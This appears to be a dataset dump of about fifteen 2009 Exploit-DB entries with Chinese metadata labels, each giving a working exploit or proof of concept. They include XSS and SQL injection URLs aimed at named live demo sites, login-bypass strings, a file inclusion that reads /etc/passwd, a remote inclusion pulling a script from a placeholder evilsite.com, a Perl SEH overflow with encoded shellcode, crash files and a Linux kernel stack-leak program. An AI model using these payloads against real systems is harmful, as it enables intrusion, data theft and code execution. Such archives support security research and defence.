QLWD/code_shield huggingface dataset:
标题: AccessoriesMe PHP Affiliate Script 1.4 - Blind SQL Injection / Cross-Site Scripting EDB-ID: 9370 CVE: 2009-4985 2009-4984 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-05 漏洞利用脚本: /*

              _____       _ ___        __          
             | ____|_   _(_) \ \      / /_ _ _   _ 
             |  _| \ \ / / | |\ \ /\ / / _` | | | |
             | |___ \ V /| | | \ V  V / (_| | |_| |
             |_____| \_/ |_|_|  \_/\_/ \__,_|\__, |
                                              |___/ 
                                    _____                    
                                   |_   _|__  __ _ _ __ ___  
                                      | |/ _ \/ _` | '_ ` _ \ 
                                      | |  __/ (_| | | | | | |
                                      |_|\___|\__,_|_| |_| |_|

AccessoriesMe PHP Affiliate Script v1.4 (bSQL-XSS) Multiple Remote Vulnerabilities

Discovered By : Moudi
Contact : <m0udi@9.cn>
Download : http://www.accessories.me.uk/downloadscript/download.php?u=latest/PHPAffiliateScript.zip&f=database/Affiliate-Script.dat

Greetings : Mizoz, Zuka, str0ke, 599eme Man.

*/

[+] Exploit XSS:

- Vulnerable code in search.php (Keywords).
- Vulnerable code in browse.php (SearchIndex).

- Poc:
  http://127.0.0.1/search.php?Keywords=[XSS]
  http://127.0.0.1/browse.php?SearchIndex=[XSS]
  http://ipod.accessories.me.uk/search.php?Keywords=1>"><ScRiPt %0D%0A>alert(412646446896)%3B</ScRiPt>
  http://ipod.accessories.me.uk/browse.php?SearchIndex=1>"><ScRiPt %0D%0A>alert(412646446896)%3B</ScRiPt>

[+] Exploit bSQL:

- Vulnerable code in browse.php (SearchIndex).

- Poc:
  http://127.0.0.1/browse.php?SearchIndex=PCHardware&BrowseNode=[NB]&sort=psrank&Go=[bSQL]
  http://ipod.accessories.me.uk/browse.php?SearchIndex=PCHardware&BrowseNode=3221551&sort=psrank&Go=Submit and 1=1 TRUE
  http://ipod.accessories.me.uk/browse.php?SearchIndex=PCHardware&BrowseNode=3221551&sort=psrank&Go=Submit and 1=2 FALSE

# milw0rm.com [2009-08-05] URL: https://www.exploit-db.com/exploits/9370
标题: BlazeDVD 5.1/HDTV Player 6.0 - '.plf' Universal Buffer Overflow (SEH) EDB-ID: 9360 CVE: 2009-0450 2006-6199 类型: LOCAL 平台: WINDOWS 发布日期: 2009-08-04 漏洞利用脚本: #!/usr/bin/perl
# by ThE g0bL!N
#THNX: His0k4 Wahdo :)
#BlazeDVD 5.1 Professional/Blaze HDTV Player 6.0 /(.PLF File) Universal Buffer Overflow Exploit (SEH)
##################################################################
my $bof="x41" x 608;
my $nsh="xEBx06x90x90";
my $seh="x71xFBx32x60" ;# Universal Address
my $nop="x90" x 20;
my $sec=
"xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49".
"x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36".
"x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34".
"x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41".
"x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x34".
"x42x50x42x50x42x30x4bx38x45x34x4ex43x4bx48x4ex47".
"x45x30x4ax47x41x50x4fx4ex4bx48x4fx44x4ax41x4bx48".
"x4fx55x42x52x41x30x4bx4ex49x54x4bx58x46x43x4bx38".
"x41x50x50x4ex41x33x42x4cx49x49x4ex4ax46x48x42x4c".
"x46x37x47x50x41x4cx4cx4cx4dx30x41x30x44x4cx4bx4e".
"x46x4fx4bx43x46x55x46x32x46x30x45x47x45x4ex4bx48".
"x4fx35x46x32x41x30x4bx4ex48x56x4bx58x4ex30x4bx44".
"x4bx58x4fx55x4ex31x41x50x4bx4ex4bx58x4ex51x4bx48".
"x41x50x4bx4ex49x58x4ex55x46x42x46x30x43x4cx41x33".
"x42x4cx46x36x4bx38x42x44x42x53x45x48x42x4cx4ax37".
"x4ex30x4bx48x42x54x4ex30x4bx58x42x57x4ex51x4dx4a".
"x4bx38x4ax36x4ax50x4bx4ex49x30x4bx48x42x48x42x4b".
"x42x50x42x50x42x50x4bx48x4ax56x4ex33x4fx35x41x53".
"x48x4fx42x56x48x45x49x38x4ax4fx43x58x42x4cx4bx57".
"x42x35x4ax46x42x4fx4cx58x46x50x4fx55x4ax36x4ax59".
"x50x4fx4cx38x50x50x47x35x4fx4fx47x4ex43x36x41x56".
"x4ex56x43x46x42x30x5a";
print $bof.$nsh.$seh.$nop.$sec;
###################################################################
open(myfile,'>> dz.plf');
print myfile $bof.$nsh.$seh.$nop.$sec;
###################################################################

# milw0rm.com [2009-08-04] URL: https://www.exploit-db.com/exploits/9360
标题: Tuniac 090517c - '.m3u' Local File Crash (PoC) EDB-ID: 9364 CVE: 2009-4867 类型: DOS 平台: WINDOWS 发布日期: 2009-08-05 漏洞利用脚本: #!/usr/bin/env python

##############################################################################################
#
# Tuniac v.090517c (.M3U) Crash PoC
# Found By: Dr_IDE
# http://sourceforge.net/projects/tuniac/files/tuniac/090517/Tuniac_Setup_090517c.exe/download
# Notes: Not sure if code execution is possible though. Maybe someone else can finish it off.
#
##############################################################################################

# Play around here, anything seems to knock it out.
buffer = ("http://" + "\x41" * (4444));

f = open('Dr_IDE.M3U','w');
f.write(buffer);
f.close();

# milw0rm.com [2009-08-05] URL: https://www.exploit-db.com/exploits/9364
标题: Microsoft Internet Explorer 8.0.7100.0 - Simple HTML Remote Crash (PoC) EDB-ID: 9362 CVE: 2009-2764 类型: DOS 平台: WINDOWS 发布日期: 2009-08-05 漏洞利用脚本: Veryfied with IE8.0.7100.0 on W7 x64 RC.

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional" "http://www.w3.org/TR/html4/strict.dtd">
<html>
 <body>
   <div style = "width: 100%; max-height: 400px; overflow: scroll;">
     <script type="text/javascript" src="nichtvorhanden"></script>
     <script type="text/javascript"></script>
   </div>
 </body>
</html>


Any comments (reaseon? dangerous? ...) are welcome.

schnuddelbuddel

# milw0rm.com [2009-08-05] URL: https://www.exploit-db.com/exploits/9362
标题: UltraPlayer Media Player 2.112 - Local Buffer Overflow (PoC) EDB-ID: 9368 CVE: 2009-4863 类型: DOS 平台: WINDOWS 发布日期: 2009-08-05 漏洞利用脚本: #!/usr/bin/perl

#UltraPlayer Media Player 2.112

#Coded by SarBoT511

#Download : http://download.cnet.com/UltraPlayer-Media-Player/3000-2139_4-10041974.html?tag=mncol

#GreatZ [ 2] : nEt^DeV!L [s4udi~cod3r] , dev1l fucker , The gobL!n , alM511 , BlacK_Zero , l!NUX_dROUx,HCJ.

#The Bug in thes place (C:\Program Files\UltraPlayer\Skins\Derailer.usk)

#EAX 00EDFBC0
#ECX 000002F4
#EDX 00000000
#EBX 41414141
#ESP 0012FB78
#EBP 0012FB80
#ESI 00EDEFF0 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
#EDI 00000000
#EIP 00471733 UPlayer.00471733


$str="A"x 5000;
$file="Derailer.usk";
open(my $FILE, ">>$file") or die "Error opening file.n";
print $FILE $str ;
close($FILE);
print "$file has been created.n";

# milw0rm.com [2009-08-05] URL: https://www.exploit-db.com/exploits/9368
标题: mybackup 1.4.0 - File Download / Remote File Inclusion EDB-ID: 9365 CVE: 2009-4978 2009-4977 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-05 漏洞利用脚本: ###############################################################################################
[+] MyBackup 1.4.0  Remote File Inclusion (AFD/RFI) Multiple Remote Vulnerabilities
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
################################################################################################

[+] Download Script : http://www.tufat.com/files_lgpl/script_96.zip

[+] Arbitrary File Download

 - PoC

     http://127.0.0.1/down.php?filename=../../../../../../boot.ini

[+] Remote File Inclusion

 - You must be logged in.

     http://127.0.0.1/index.php?main_tabid=1&main_content=http://evilsite.com/evilscript.txt

################################################################################################

# milw0rm.com [2009-08-05] URL: https://www.exploit-db.com/exploits/9365
标题: In-portal 4.3.1 - 'index.php?env' Local File Inclusion EDB-ID: 9358 CVE: 2009-4986 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-04 漏洞利用脚本: @ ===================================================================================@
/                      Title    : Local File Inclusion Vulnerability                   \
                       Software : In-Portal 4.3.1
                       Vendor   : http://www.in-portal.net/                    
[-]                                                                                    [-]
                       Date     : 01 August 2009 (Indonesia)
                       Author   : Angela Chang
                       Contact  : mizz_4ng3l@yahoo.com
\                                                                                      /
 @ ===================================================================================@
                                                                                                                                                                                             
 [-] Dork                                                                                                                                                                                    
 
     "Powered by In-portal"
 
 [-] Exploit                                                                                                                                                                                
 
     http://[site]/[path]/index.php?env=-/[LFI]%00
 
 [-] Demo                                                                                                                                                                                    
 
     http://www.in-portal.net/demo/index.php?env=-/../../../../../../../../../../../../../../../etc/passwd%00
                                                                                                                                                                                                  
{o} ==================================================================================={o}
 
                                                 Greetz   :   -:-  SkyCreW  -:-
 
     Nyubi (Solpot) , Vrs-hCk , OoN_BoY , NoGe , Paman , zxvf ,   home_edition2001   ,   str0ke
 
 
{o}===================================================================================={o}
 
 
{o}===================================================================================={o} 

# milw0rm.com [2009-08-04] URL: https://www.exploit-db.com/exploits/9358
标题: elgg 1.5 - '/_css/js.php' Local File Inclusion EDB-ID: 9355 CVE: 2009-3149 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-04 漏洞利用脚本: Product: elgg.org
Version: <= 1.5
Dork: "Powered by Elgg, the leading open source social networking platform"

eLwaux(c)2009
UASC.org.UA

POC: /_css/js.php?js=../../../../tmp/session_dir%00&viewtype=xD

need: in table `datalists` must be record `simplecache_enabled` = 0
(default  `simplecache_enabled ` = 1)

Vulnerability Code:
-----------------------------------------------------------------------
/_css/js.php:
     33:     $viewinput['view'] = 'js/' . $_GET['js'];
     42:     require_once(dirname(dirname(__FILE__)) . '/simplecache/view.php');
/simplecache/view.php:
     26:     $view = $viewinput['view'];
     30:     if (@mysql_select_db($CONFIG->dbname,$mysql_dblink)) {
     48:         if ($simplecache_enabled || $override) {
     49:             $filename = $dataroot . 'views_simplecache/' .  md5($viewtype . $view);
     51:             $contents = file_get_contents($filename);
     56:         } else {
     59:             $contents = elgg_view($view);
/lib/elgglib.php:
     237:    function elgg_view($view, ..
     317:        foreach($viewlist as $priority => $view) {
     321:                if (file_exists($view_location .  "{$viewtype}/{$view}.php") &&
                             !include($view_location .  "{$viewtype}/{$view}.php")) {
-----------------------------------------------------------------------

# milw0rm.com [2009-08-04] URL: https://www.exploit-db.com/exploits/9355
标题: MOC Designs PHP News 1.1 - Authentication Bypass EDB-ID: 9353 CVE: 2009-2921 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-04 漏洞利用脚本: #########################################################################
[+] MOC Designs PHP News v1.1 (Auth Bypass) SQL Injection Vulnerability
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
#########################################################################

[+] Homepage : http://www.mocdesigns.com/

[+] SQL Injection (Auth Bypass)

 - PoC

    http://127.0.0.1/news/login.php

 User : 'or''='
 Password : 'or''='

 - Live Demo

    http://www.mocdesigns.com/news/login.php

#########################################################################

# milw0rm.com [2009-08-04] URL: https://www.exploit-db.com/exploits/9353
标题: MAXcms 3.11.20b - Remote File Inclusion / File Disclosure EDB-ID: 9350 CVE: 2009-3426 2009-3425 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-03 漏洞利用脚本: MAXcms 3.11.20b RFI / File Disclosure Vulnerabilities
I- Remote File Disclosure Vulnerabilities
In /includes/inc.thcms_admin_dirtree.php (Code)
22: if ($_GET["getjs"]=="1") {  <<-------!!
23:    readfile($thCMS_root."/includes/wz_dragdrop.js");<<-------!!
24:    exit;
25: }
POC :
     http://localhost//microcms/includes/inc.thcms_admin_dirtree.php?getjs=1&thCMS_root=inc.thcms_admin_dirtree.php%00
                                              #####################
II- Remote File Inclusion Vulnerabilities
In /includes/file_manager/special.php (Code)
01: <?php
02: /**
03: *    Hier wird $af_pk Ã¼bergeben.
04: *    Das ist die PK aus der Tabelle adovo_filedata auf den einen Datensatz.
05: */
06:
07: include($fm_includes_special); <<-------!!
08:
09: ?>
POC :
     http://localhost//microcms/includes/file_manager/special.php?fm_includes_special=http://localhost/020.txt

Thanx To

          .___________..______     ____    ____  ___       _______   
           |           ||   _  \    \   \  /   / /   \     /  _____|  
           `---|  |----`|  |_)  |    \   \/   / /  ^  \   |  |  __    
               |  |     |      /      \_    _/ /  /_\  \  |  | |_ |   
               |  |     |  |\  \----.   |  |  /  _____  \ |  |__| |   
               |__|     | _| `._____|   |__| /__/     \__\ \______|   
                                                             
       ___       ______     ___       _______   _______ .___  ___. ____    ____   
      /   \     /      |   /   \     |       \ |   ____||   \/   | \   \  /   /   
     /  ^  \   |  ,----'  /  ^  \    |  .--.  ||  |__   |  \  /  |  \   \/   /    
    /  /_\  \  |  |      /  /_\  \   |  |  |  ||   __|  |  |\/|  |   \_    _/     
   /  _____  \ |  `----./  _____  \  |  '--'  ||  |____ |  |  |  |     |  |       
  /__/     \__\ \______/__/     \__\ |_______/ |_______||__|  |__|     |__|      Tryag.Cc

# milw0rm.com [2009-08-03] URL: https://www.exploit-db.com/exploits/9350
标题: Discloser 0.0.4-rc2 - 'index.php?more' SQL Injection EDB-ID: 9349 CVE: 2009-4719 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-03 漏洞利用脚本: ********   Salvatore "drosophila" Fresta   ********

[+] Application: Discloser
[+] Version: 0.0.4-rc2
[+] Website: http://discloser.sourceforge.net/

[+] Bugs: [A] SQL Injection

[+] Exploitation: Remote
[+] Date: 21 Feb 2004

[+] Discovered by: Salvatore Fresta aka drosophila
[+] Author: Salvatore Fresta aka drosophila
[+] E-mail: drosophilaxxx [at] gmail.com


***************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


***************************************************

[+] Bugs


- [A] SQL Injection

[-] Risk: medium
[-] File affected: displayposts.php

This flaw allows a guest to insert arbitrary SQL 
statments in the affected query.

...

if (isset($_GET['more'])) {
   $more = $_GET['more'];
   $query = mysql_query("select ". $tableprefix ."posts.*, ". $tableprefix ."users.username, ". $tableprefix ."users.email from ". $tableprefix ."posts, ". $tableprefix ."users where ". $tableprefix ."posts.poster = ". $tableprefix ."users.username and ". $tableprefix ."posts.id = $more");

...


***************************************************

[+] Code


- [A] SQL Injection

You can retrieve information from 3,4,7,8 fields.

http://www.site.com/path/index.php?more=-1 UNION ALL SELECT 1,'long',3,4,5,6,7,8,9,10


***************************************************

[+] Fix

To fix the flaw, you must to accept numeric content
only, using, for example, intval PHP function:

$more = intval($_GET['more']);


***************************************************

# milw0rm.com [2009-08-03] URL: https://www.exploit-db.com/exploits/9349
标题: Payment Processor Script (PPScript) - 'shop.htm cid' SQL Injection EDB-ID: 9351 CVE: 2009-4724 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-03 漏洞利用脚本: [~] PaymentProcessorScript.net R-Sql/B-Sql Multiple Vulns.
[~]
[~]----------------------------------------------------------
[~] Discovered By: ZoRLu  msn: trt-turk@hotmail.com
[~]
[~] Date: 04.01.09
[~]
[~] Home: z0rlu.blogspot.com / www.experl.com 
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] EN ONEMLi N0T: demolarI hackleyen top olsun top ( if you hack demo you will be ball xD )
[~] -----------------------------------------------------------

R-Sql

http://z0rlu.blogspot.com/shop.htm?cid=999999999+union+select+1,2,concat(user(),0x3a,version(),0x3a,database())

for demo:

http://paymentprocessorscript.net/demo/shop.htm?cid=999999999+union+select+1,2,concat(user(),0x3a,version(),0x3a,database())

B-Sql

http://z0rlu.blogspot.com/shop.htm?cid=[id]+and+1=1    true

http://z0rlu.blogspot.com/shop.htm?cid=[id]+and+1=100  false

for demo:

http://paymentprocessorscript.net/demo/shop.htm?cid=31+and+1=1

http://paymentprocessorscript.net/demo/shop.htm?cid=31+and+1=100


[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & Scriptorium & h4ckinger & Cyber_Thief & BLaSTeR & Ahmet and all experl.com users  :) 
[~]
[~] yildirimordulari.org  &  experl.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2009-08-03] URL: https://www.exploit-db.com/exploits/9351
标题: Multi Website 1.5 - index PHP action SQL Injection EDB-ID: 9344 CVE: 2009-3150 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-03 漏洞利用脚本: > > [+] Bug : Powered by Multi Website 1.5 (index php action) Remote SQL Injection Vulnerability
> >
> > [+] Script home : http://www.multi-website.com
> >
> > [+] Affected versions : 1.5
> >
> > [+] Solution : nothing .;
> > > >
> > > > =======================================================
> > > >
> > > > ==> AuThOr : SarboT511
> > > >
> > > > ==> EmaiL : xs3@hotmail.com
> > > >
> > > > ==> HomE : www.lezr.com
> > > >
> > > > ==> DorK : Powered by Multi Website 1.5
> > > >
> > > > ==> Control panel script : http://localhost/[path]/admin/login.php
> > > >
> > > > ========================================================
> > > >
> > > > ==> ExplO!t :
> > > >
> > > > www.target.com/[path]/?action=vote&Browse=-1+union+select+1,@@version--
> > > >=========================================================
> > > > L!VE Demo :
> > > >
> > >  http://www.multi-website.com/demo/?action=vote&Browse=-1+union+select+1,@@version--
> > =============================================================
> > greats to : his0k4 , The g0bL!n , black zero , thirdd_Devil ,devil
> > fucker ,3loosh_al7rbi ,HCj , ALM 511 , all members [ lezr.com ] .#

# milw0rm.com [2009-08-03] URL: https://www.exploit-db.com/exploits/9344
标题: Linux Kernel 2.6.31-rc5 - sigaltstack 4-Byte Stack Disclosure EDB-ID: 9352 CVE: 2009-2847 类型: LOCAL 平台: LINUX 发布日期: 2009-08-04 漏洞利用脚本: /* 
 * sigaltstack-leak.c
 *
 * Linux Kernel <= 2.6.31-rc5 sigaltstack 4-Byte Stack Disclosure
 * Jon Oberheide <jon@oberheide.org>
 * http://jon.oberheide.org
 * 
 * Information:
 * 
 *   http://git.kernel.org/linus/0083fc2c50e6c5127c2802ad323adf8143ab7856
 * 
 *   Ulrich Drepper correctly points out that there is generally padding in
 *   the structure on 64-bit hosts, and that copying the structure from
 *   kernel to user space can leak information from the kernel stack in those
 *   padding bytes.
 * 
 * Notes:
 * 
 *   Only 4 bytes of uninitialized kernel stack are leaked in the padding 
 *   between stack_t's ss_flags and ss_size.  The disclosure only affects 
 *   affects 64-bit hosts.
 */

#include <stdio.h>
#include <stddef.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <unistd.h>
#include <time.h>
#include <sys/syscall.h>
#include <sys/types.h>

const int randcalls[] = {
 0, 1, 2, 3, 4, 5, 6, 8, 9, 10, 11, 13, 14, 16, 
 21, 22, 24, 25, 32, 33, 36, 37, 38, 39, 72, 73, 
 78, 79, 96, 97, 97, 102, 104, 105, 106, 107, 108, 
 109, 110, 11, 112, 113, 114, 116, 117, 118, 119, 
 120, 121, 121, 123, 124, 125, 140, 141, 143, 146
};

void
dump(const unsigned char *p, unsigned l)
{
 printf("stack_t:");
 while (l > 0) {
  printf(" ");
  if (l == 12) {
   printf("*** ");
  }
  printf("%02x", *p);
  if (l == 9) {
   printf(" ***");
  }
  ++p; --l;
 }
 printf("\n");
}

int
main(void)
{
 char *p;
 int call, ret;
 size_t size, ftest, stest;
 stack_t oss;

 size = sizeof(stack_t);

 printf("[+] Checking platform...\n");

 if (size == 24) {
  printf("[+] sizeof(stack_t) = %zu\n", size);
  printf("[+] Correct size, 64-bit platform.\n");
 } else {
  printf("[-] sizeof(stack_t) = %zu\n", size);
  printf("[-] Error: you do not appear to be on a 64-bit platform.\n");
  printf("[-] No information disclosure is possible.\n");
  exit(1);
 }

 ftest = offsetof(stack_t, ss_flags) + sizeof(oss.ss_flags);
 stest = offsetof(stack_t, ss_size);

 printf("[+] Checking for stack_t hole...\n");

 if (ftest != stest) {
  printf("[+] ss_flags end (%zu) != ss_size start (%zu)\n", ftest, stest);
  printf("[+] Hole in stack_t present!\n", ftest, stest);
 } else {
  printf("[-] ss_flags end (%zu) == ss_size start (%zu)\n", ftest, stest);
  printf("[-] Error: No hole in stack_t, something is quite wrong.\n");
  exit(1);
 }

 printf("[+] Ready to call sigaltstack.\n\n");

 for (ret = 5; ret > 0; ret--) {
  printf("%d...\n", ret);
  sleep(1);
 }
 srand(time(NULL));

 while (1) {
  /* random stuff to make stack pseudo-interesting */
  call = rand() % (sizeof(randcalls) / sizeof(int));
  syscall(randcalls[call]);

  ret = sigaltstack(NULL, &oss);
  if (ret != 0) {
   printf("[-] Error: sigaltstack failed.\n");
   exit(1);
  }

  dump((unsigned char *) &oss, sizeof(oss));
 }

 return 0;
}

// milw0rm.com [2009-08-04] URL: https://www.exploit-db.com/exploits/9352
标题: Questions Answered 1.3 - Authentication Bypass EDB-ID: 9341 CVE: 2009-4728 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-03 漏洞利用脚本: #--------------------------------------------------------
#Questions Answered v1.3 (Auth Bypass) Remote Sql Injection
#--------------------------------------------------------
#Discovered By: Snakespc     ALGERIAN HaCkEr 
#Mail: snakespc@gmail.com       
#-------------------------------------------------------
#
#Script:Questions Answered v1.3
#
#Demo:www.nichewebsite.net
#--------------------------------------------------------
#Exploit:
#--------
#Demo:http://demo.nichewebsite.net/admin
#Username:admin' or '1=1 
#Password:Super Cristal
----------------------------------------------------------

# milw0rm.com [2009-08-03] URL: https://www.exploit-db.com/exploits/9341